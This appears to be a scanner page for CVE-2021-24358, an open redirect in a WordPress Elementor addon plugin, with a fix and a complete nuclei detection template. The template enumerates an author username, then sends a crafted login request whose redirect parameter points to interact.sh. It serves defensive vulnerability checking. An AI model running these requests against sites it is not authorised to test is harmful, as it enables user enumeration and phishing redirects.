Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.

Impact

This vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities.

Fix

Upgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability.

How to confirm it

Send: GET /?author=1 ; GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}}
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/

Run it with nuclei: nuclei -id CVE-2021-24358 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24358

info:
  name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
  impact: |
    This vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities.
  remediation: |
    Upgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24358
    - https://theplusaddons.com/changelog/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24358
    cwe-id: CWE-601
    epss-score: 0.02295
    epss-percentile: 0.83407
    cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: posimyth
    product: the_plus_addons_for_elementor
    framework: wordpress
  tags: cve2021,cve,wp,wpscan,wordpress,redirect,wp-plugin,elementor,posimyth,vuln

http:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

      - type: regex
        name: username
        group: 1
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
        internal: true
        part: header

References

Use this check only on systems you are authorised to test. Where the data comes from